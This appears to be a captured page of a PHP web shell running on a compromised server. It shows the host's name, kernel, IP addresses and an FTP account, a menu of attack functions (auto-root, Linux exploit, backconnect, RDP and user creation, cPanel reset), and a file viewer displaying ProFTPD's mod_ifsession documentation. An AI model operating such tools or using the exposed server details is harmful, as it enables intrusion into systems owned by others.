Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
proftpd /
contrib /
[ HOME SHELL ]
Name
Size
Permission
Action
ftpasswd.html
14.61
KB
-rw-r--r--
ftpmail.html
8
KB
-rw-r--r--
ftpquota.html
10.9
KB
-rw-r--r--
index.html
9.04
KB
-rw-r--r--
mod_auth_otp.html
16.5
KB
-rw-r--r--
mod_ban.html
22.53
KB
-rw-r--r--
mod_copy.html
4.85
KB
-rw-r--r--
mod_ctrls_admin.html
15.05
KB
-rw-r--r--
mod_deflate.html
6.89
KB
-rw-r--r--
mod_digest.html
12.92
KB
-rw-r--r--
mod_dnsbl.html
6.1
KB
-rw-r--r--
mod_dynmasq.html
3.26
KB
-rw-r--r--
mod_exec.html
23.89
KB
-rw-r--r--
mod_geoip.html
17.06
KB
-rw-r--r--
mod_ifsession.html
11.02
KB
-rw-r--r--
mod_ifversion.html
4.96
KB
-rw-r--r--
mod_ldap.html
32.32
KB
-rw-r--r--
mod_load.html
2.97
KB
-rw-r--r--
mod_log_forensic.html
9.78
KB
-rw-r--r--
mod_qos.html
2.62
KB
-rw-r--r--
mod_quotatab.html
25.02
KB
-rw-r--r--
mod_quotatab_file.html
2.23
KB
-rw-r--r--
mod_quotatab_ldap.html
2.63
KB
-rw-r--r--
mod_quotatab_radius.html
2.08
KB
-rw-r--r--
mod_quotatab_sql.html
10.93
KB
-rw-r--r--
mod_radius.html
22.11
KB
-rw-r--r--
mod_ratio.html
6.99
KB
-rw-r--r--
mod_readme.html
2.69
KB
-rw-r--r--
mod_rewrite.html
30.06
KB
-rw-r--r--
mod_sftp.html
93.71
KB
-rw-r--r--
mod_sftp_pam.html
5.47
KB
-rw-r--r--
mod_sftp_sql.html
5.63
KB
-rw-r--r--
mod_shaper.html
23.28
KB
-rw-r--r--
mod_site_misc.html
5.81
KB
-rw-r--r--
mod_snmp.html
42.38
KB
-rw-r--r--
mod_sql.html
62.81
KB
-rw-r--r--
mod_sql_odbc.html
10.2
KB
-rw-r--r--
mod_sql_passwd.html
24.44
KB
-rw-r--r--
mod_sql_sqlite.html
2.95
KB
-rw-r--r--
mod_statcache.html
8.29
KB
-rw-r--r--
mod_tls.html
85.34
KB
-rw-r--r--
mod_tls_fscache.html
2.73
KB
-rw-r--r--
mod_tls_memcache.html
3.91
KB
-rw-r--r--
mod_tls_redis.html
3.6
KB
-rw-r--r--
mod_tls_shmcache.html
6.78
KB
-rw-r--r--
mod_unique_id.html
3.54
KB
-rw-r--r--
mod_wrap.html
12.38
KB
-rw-r--r--
mod_wrap2.html
24.83
KB
-rw-r--r--
mod_wrap2_file.html
4.69
KB
-rw-r--r--
mod_wrap2_redis.html
5.33
KB
-rw-r--r--
mod_wrap2_sql.html
8.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_ifsession.html
<!DOCTYPE html> <html> <head> <title>ProFTPD module mod_ifsession</title> </head> <body bgcolor=white> <hr> <center> <h2><b>ProFTPD module <code>mod_ifsession</code></b></h2> </center> <hr><br> The purpose of <code>mod_ifsession</code> is to provide a flexible way of specifying that certain configuration directives only apply to certain sessions, based on credentials such as connection class, user, or group membership. <p> For class-based qualifications, <code>mod_ifsession</code> will apply configuration directives to the current session as soon as the client has connected to the server; for user- and group-based qualifications, <code>mod_ifsession</code> applies configuration directives to the current session, if applicable, only after the client has successfully authenticated. This means that <code>mod_ifsession</code> cannot change the effect of some user- and group-qualified configuration directives, particularly those that influence the session prior to authentication. These directives include: <pre> AccessDenyMsg AccessGrantMsg AnonRequirePassword <Anonymous> AuthGroupFile AuthUserFile CreateHome DefaultChdir DefaultRoot DefaultTransferMode DisplayConnect ExtendedLog MaxInstances RequireValidShell RootLogin ServerIdent ServerName ShowSymlinks TransferLog UseFtpUsers WtmpLog </pre> and the directives from the <code>mod_auth_pam</code> module. All of these <b>can</b> set on based on class qualifications, however. <p> While the above list of configuration directives is daunting, there <b>are</b> still valid uses for this module, <i>e.g.</i> configuring <code><Directory></code> and/or <code><Limit></code> for certain sessions, <code>Filter</code> directives, transfer rates, maximum file sizes, etc. Plus, some of the above directives (<i>e.g.</i> <code>DefaultChdir</code>, <code>DefaultRoot</code>) already have their own configurable restrictions (group expressions in the case of <code>DefaultChdir</code> and <code>DefaultRoot</code>), so all is not entirely lost. <p> This module is contained in the <code>contrib/mod_ifsession.c</code> file for ProFTPD 1.2.<i>x</i>/1.3.<i>x</i>, and is not compiled by default. Installation instructions are discussed <a href="#Installation">here</a>. <p> The most current version of <code>mod_ifsession</code> is distributed with the ProFTPD source. <h2>Author</h2> <p> Please contact TJ Saunders <tj <i>at</i> castaglia.org> with any questions, concerns, or suggestions regarding this module. <h2>Directives</h2> <ul> <li><a href="#IfAuthenticated"><IfAuthenticated></a> <li><a href="#IfClass"><IfClass></a> <li><a href="#IfGroup"><IfGroup></a> <li><a href="#IfUser"><IfUser></a> </ul> <hr> <h3><a name="IfAuthenticated"><IfAuthenticated></a></h3> <strong>Syntax:</strong> <IfAuthenticated><br> <strong>Default:</strong> None<br> <strong>Context:</strong> server config, <code><VirtualHost></code>, <code><Global></code><br> <strong>Module:</strong> mod_ifsession<br> <strong>Compatibility:</strong> 1.3.5rc1 and later <p> The <code><IfAuthenticated></code> context should contain any configuration directives that should be in effect for any sessions where the client has successfully authenticated. <p> Examples: <pre> # Only configure SQL logging for authenticated users, to avoid cluttering # database tables with fail login data <IfAuthenticated> SQLLog ... </IfAuthenticated> </pre> <p> See also: <a href="#IfGroup"><IfGroup></a>, <a href="#IfUser"><IfUser></a> <hr> <h3><a name="IfClass"><IfClass></a></h3> <strong>Syntax:</strong> <IfClass <em>["AND"|"OR"] class-expression|"regex" regexp</em>><br> <strong>Default:</strong> None<br> <strong>Context:</strong> server config, <code><VirtualHost></code>, <code><Global></code><br> <strong>Module:</strong> mod_ifsession<br> <strong>Compatibility:</strong> 1.2.8rc1 and later <p> The <code><IfClass></code> context should contain any configuration directives that should be in effect for any sessions that match the <em>class-expression</em>. <code>Classes</code> must be enabled for this context to work properly; the connecting client must be in any of the classes listed in the expression for the directives contained to be applied. Note that <code>!</code> notation in front of a class name in the expression is supported. <p> The given <em>class-expression</em> may optionally be prefixed with either the "AND" or "OR" keywords, which affect how the expression is evaluated: if "AND" is used, then <b>all</b> portions of the expression must evaluate to TRUE for the configuration context to be applied to the current session; if "OR" is used, then <b>any</b> portion of the expression must be TRUE for the context to be applied. The default setting for <code><IfClass></code> is "OR". <p> If the "regex" keyword is used, the <em>regexp</em> should be a regular expression to match class names. <p> Examples: <pre> # Give friends, and local users, better transfer rates <IfClass local, friends> TransferRate RETR 8192 </IfClass> TransferRate RETR 4096 </pre> <p> See also: <a href="#IfGroup"><IfGroup></a>, <a href="#IfUser"><IfUser></a> <p> <hr> <h3><a name="IfGroup"><IfGroup></a></h3> <strong>Syntax:</strong> <IfGroup <em>["AND"|"OR"] group-expression|"regex" regexp</em>><br> <strong>Default:</strong> None<br> <strong>Context:</strong> server config, <code><VirtualHost></code>, <code><Global></code><br> <strong>Module:</strong> mod_ifsession<br> <strong>Compatibility:</strong> 1.2.8rc1 and later <p> The <code><IfGroup></code> context should contain any configuration directives that should be in effect for any sessions that match the <em>group-AND-expression</em>. The authenticated user must be in <b>all</b> of the groups listed in the expression for the directives contained to be applied. Note that <code>!</code> notation in front of a group name in the expression is supported. <p> The given <em>group-expression</em> may optionally be prefixed with either the "AND" or "OR" keywords, which affect how the expression is evaluated: if "AND" is used, then <b>all</b> portions of the expression must evaluate to TRUE for the configuration context to be applied to the current session; if "OR" is used, then <b>any</b> portion of the expression must be TRUE for the context to be applied. The default setting for <code><IfGroup></code> is "AND". <p> If the "regex" keyword is used, the <em>regexp</em> should be a regular expression to match group names. <p> Example: <pre> # Only members of group webusers can upload/download HTML files <IfGroup !webusers> PathDenyFilter \.htm$|\.html$ </IfGroup> </pre> <p> See also: <a href="#IfClass"><IfClass></a>, <a href="#IfUser"><IfUser></a> <p> <hr> <h3><a name="IfUser"><IfUser></a></h3> <strong>Syntax:</strong> <IfUser <em>["AND"|"OR"] user-expression|"regex" regexp</em>><br> <strong>Default:</strong> None<br> <strong>Context:</strong> server config, <code><VirtualHost></code>, <code><Global></code><br> <strong>Module:</strong> mod_ifsession<br> <strong>Compatibility:</strong> 1.2.8rc1 and later <p> The <code><IfUser></code> context should contain any configuration directives that should be in effect for any sessions that match the <em>user-OR-expression</em>. The authenticated user must be one of the users listed in the expression for the directives contained to be applied. Note that <code>!</code> notation in front of a user name in the expression is supported. <p> The given <em>user-expression</em> may optionally be prefixed with either the "AND" or "OR" keywords, which affect how the expression is evaluated: if "AND" is used, then <b>all</b> portions of the expression must evaluate to TRUE for the configuration context to be applied to the current session; if "OR" is used, then <b>any</b> portion of the expression must be TRUE for the context to be applied. The default setting for <code><IfUser></code> is "OR". <p> If the "regex" keyword is used, the <em>regexp</em> should be a regular expression to match user names. <p> Example: <pre> # Alter the view of files for everyone except the admin <IfUser !ftpadm> <Directory /> DirFakeUser on ~ DirFakeGroup on ~ DirFakeMode 0440 </Directory> </IfUser> # Impose a PathDenyFilter on ftp users <IfUser regex ^ftp> PathDenyFilter \.conf$ </IfUser> </pre> <p> See also: <a href="#IfClass"><IfClass></a>, <a href="#IfGroup"><IfGroup></a> <p> <hr> <h2><a name="Usage">Usage</a></h2> <p> <b>As a Shared Module</b><br> If your <code>proftpd</code> is compiled with <code>mod_ifsession</code> as a shared module, then you <b>must</b> make sure that <code>mod_ifsession</code> is loaded <b>last</b>: <pre> <IfModule mod_dso.c> LoadModule mod_sql.c LoadModule mod_sql_mysql.c LoadModule mod_tls.c LoadModule mod_rewrite.c <b>LoadModule mod_ifsession.c</b> </IfModule> </pre> Failure to ensure that <code>mod_ifsession</code> is loaded last will mean that the per-user/group/class functionality will not work as you expect. <p> <i>Todo</i><br> Expressions, AND vs OR <p> <hr> <h2><a name="Installation">Installation</a></h2> The <code>mod_ifsession</code> module is distributed with ProFTPD. Follow the usual steps for using third-party modules in ProFTPD: <pre> $ ./configure --with-modules=mod_ifsession $ make $ make install </pre> Note that <code>mod_ifsession</code> should be the <b>last</b> module in the <code>--with-modules</code> list, if multiple modules are listed. This makes sure that <code>mod_ifsession</code>'s changes will be seen properly by other modules. <p> To build <code>mod_ifsession</code> as a DSO module: <pre> $ ./configure --enable-dso --with-shared=mod_ifsession </pre> Then follow the usual steps: <pre> $ make $ make install </pre> <p> Alternatively, if your <code>proftpd</code> was compiled with DSO support, you can use the <code>prxs</code> tool to build <code>mod_ifsession</code> as a shared module: <pre> $ prxs -c -i -d mod_ifsession.c </pre> <p> <b>Logging</b><br> The <code>mod_ifsession</code> module supports <a href="../howto/Tracing.html">trace logging</a>, via the module-specific log channels: <ul> <li>ifsession </ul> Thus for trace logging, to aid in debugging, you would use the following in your <code>proftpd.conf</code>: <pre> TraceLog /path/to/ftpd/trace.log Trace ifsession:20 </pre> This trace logging can generate large files; it is intended for debugging use only, and should be removed from any production configuration. <p> <hr> <font size=2><b><i> © Copyright 2000-2014 TJ Saunders<br> All Rights Reserved<br> </i></b></font> <hr> </body> </html>
Close